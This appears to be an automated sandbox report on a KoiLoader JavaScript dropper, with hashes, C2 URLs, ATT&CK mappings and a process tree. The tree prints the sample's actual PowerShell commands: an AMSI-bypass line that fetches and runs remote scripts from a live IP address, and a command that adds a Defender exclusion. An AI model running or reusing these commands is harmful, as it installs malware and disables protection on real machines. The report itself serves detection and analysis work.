koiloader | a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

General

Target

r6eac11b8-35d6-bffe-da50-d9e1a5ae832ar.js
Size

1KB
MD5

efcc96851f4724909616b5f3ec81cf79
SHA1

783d14e21e058733ef6cc6ca1e934bcf2533d134
SHA256

a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1
SHA512

c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

Score

10^/10

koiloader discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://79.124.78.109/wp-includes/phyllopodan7V7GD.php

exe.dropper

http://79.124.78.109/wp-includes/barasinghaby.ps1

Extracted

Family

koiloader

C2

http://79.124.78.109/flocking.php

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral2/memory/456-25-0x0000000007DD0000-0x0000000007DDD000-memory.dmp	family_koi_loader

Blocklisted process makes network request 5 IoCs

flow	pid	Process
13	456	powershell.exe
15	456	powershell.exe
16	2508	powershell.exe
40	456	powershell.exe
46	456	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2508	powershell.exe
456	powershell.exe
3012	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
456	powershell.exe
456	powershell.exe
3012	powershell.exe
3012	powershell.exe
2508	powershell.exe
2508	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	456	powershell.exe
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1488 wrote to memory of 456	1488	wscript.exe	83
PID 1488 wrote to memory of 456	1488	wscript.exe	83
PID 1488 wrote to memory of 456	1488	wscript.exe	83
PID 2604 wrote to memory of 688	2604	DllHost.exe	86
PID 2604 wrote to memory of 688	2604	DllHost.exe	86
PID 2604 wrote to memory of 688	2604	DllHost.exe	86
PID 688 wrote to memory of 3012	688	cmd.exe	88
PID 688 wrote to memory of 3012	688	cmd.exe	88
PID 688 wrote to memory of 3012	688	cmd.exe	88
PID 456 wrote to memory of 4760	456	powershell.exe	89
PID 456 wrote to memory of 4760	456	powershell.exe	89
PID 456 wrote to memory of 4760	456	powershell.exe	89
PID 4760 wrote to memory of 2508	4760	cmd.exe	91
PID 4760 wrote to memory of 2508	4760	cmd.exe	91
PID 4760 wrote to memory of 2508	4760	cmd.exe	91

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\r6eac11b8-35d6-bffe-da50-d9e1a5ae832ar.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1488
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'http://79.124.78.109/wp-includes/phyllopodan7V7GD.php'; $l2 = 'http://79.124.78.109/wp-includes/barasinghaby.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zTJRTNUX3VD'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:456
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/sd2.ps1')"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4760
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -command IEX(IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/sd2.ps1')
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2508

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2604
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:688
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3012

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\rcca0d105-8260-4611-8c12-bd85a7208b9fr.js"
1⤵
PID:2332

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\rcca0d105-8260-4611-8c12-bd85a7208b9fr.js"
1⤵
PID:3020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\rcca0d105-8260-4611-8c12-bd85a7208b9fr.js

Filesize
1KB

MD5
efcc96851f4724909616b5f3ec81cf79

SHA1
783d14e21e058733ef6cc6ca1e934bcf2533d134

SHA256
a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

SHA512
c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
a3dd7e0f777f34fcdcb2f3def5f89740

SHA1
f8a51437a1f5ce742e59742891c805b767b5dbf7

SHA256
11bd21d21de1d136caf34a446235d5cbfe0c4737183fd125e4546127dceeaa03

SHA512
d5ab3cbaab475f7953e187ce81b492be6d894218a5d3823e74ad8ccebe66c3824edca0371e2e4b68a92dd4405a41cc9a2d518ddf47dbfbb51b1b77aa497fc01c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ml34c5o.tda.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/456-14-0x0000000006010000-0x0000000006364000-memory.dmp

Filesize
3.3MB

Download
memory/456-24-0x0000000007D30000-0x0000000007D31000-memory.dmp

Filesize
4KB

Download
memory/456-8-0x0000000005FA0000-0x0000000006006000-memory.dmp

Filesize
408KB

Download
memory/456-7-0x0000000005F30000-0x0000000005F96000-memory.dmp

Filesize
408KB

Download
memory/456-4-0x00000000747E0000-0x0000000074F90000-memory.dmp

Filesize
7.7MB

Download
memory/456-1-0x00000000747EE000-0x00000000747EF000-memory.dmp

Filesize
4KB

Download
memory/456-19-0x00000000066B0000-0x00000000066CE000-memory.dmp

Filesize
120KB

Download
memory/456-20-0x0000000006740000-0x000000000678C000-memory.dmp

Filesize
304KB

Download
memory/456-21-0x0000000006A90000-0x0000000006AAA000-memory.dmp

Filesize
104KB

Download
memory/456-22-0x0000000007F20000-0x000000000859A000-memory.dmp

Filesize
6.5MB

Download
memory/456-23-0x00000000747E0000-0x0000000074F90000-memory.dmp

Filesize
7.7MB

Download
memory/456-70-0x00000000747E0000-0x0000000074F90000-memory.dmp

Filesize
7.7MB

Download
memory/456-25-0x0000000007DD0000-0x0000000007DDD000-memory.dmp

Filesize
52KB

Download
memory/456-29-0x00000000747E0000-0x0000000074F90000-memory.dmp

Filesize
7.7MB

Download
memory/456-5-0x00000000747E0000-0x0000000074F90000-memory.dmp

Filesize
7.7MB

Download
memory/456-2-0x0000000005120000-0x0000000005156000-memory.dmp

Filesize
216KB

Download
memory/456-3-0x0000000005790000-0x0000000005DB8000-memory.dmp

Filesize
6.2MB

Download
memory/456-6-0x0000000005710000-0x0000000005732000-memory.dmp

Filesize
136KB

Download
memory/456-69-0x00000000747EE000-0x00000000747EF000-memory.dmp

Filesize
4KB

Download
memory/2508-76-0x0000000007BE0000-0x0000000007C30000-memory.dmp

Filesize
320KB

Download
memory/2508-75-0x00000000074A0000-0x00000000074BA000-memory.dmp

Filesize
104KB

Download
memory/2508-74-0x0000000008190000-0x0000000008734000-memory.dmp

Filesize
5.6MB

Download
memory/2508-73-0x0000000007360000-0x0000000007382000-memory.dmp

Filesize
136KB

Download
memory/2508-77-0x0000000007CD0000-0x0000000007D62000-memory.dmp

Filesize
584KB

Download
memory/3012-51-0x0000000007680000-0x000000000769E000-memory.dmp

Filesize
120KB

Download
memory/3012-68-0x0000000007BB0000-0x0000000007BB8000-memory.dmp

Filesize
32KB

Download
memory/3012-67-0x0000000007BD0000-0x0000000007BEA000-memory.dmp

Filesize
104KB

Download
memory/3012-66-0x0000000007AD0000-0x0000000007AE4000-memory.dmp

Filesize
80KB

Download
memory/3012-65-0x0000000007AC0000-0x0000000007ACE000-memory.dmp

Filesize
56KB

Download
memory/3012-64-0x0000000007A90000-0x0000000007AA1000-memory.dmp

Filesize
68KB

Download
memory/3012-63-0x0000000007B10000-0x0000000007BA6000-memory.dmp

Filesize
600KB

Download
memory/3012-62-0x0000000007900000-0x000000000790A000-memory.dmp

Filesize
40KB

Download
memory/3012-52-0x00000000076E0000-0x0000000007783000-memory.dmp

Filesize
652KB

Download
memory/3012-40-0x00000000076A0000-0x00000000076D2000-memory.dmp

Filesize
200KB

Download
memory/3012-41-0x0000000070600000-0x000000007064C000-memory.dmp

Filesize
304KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads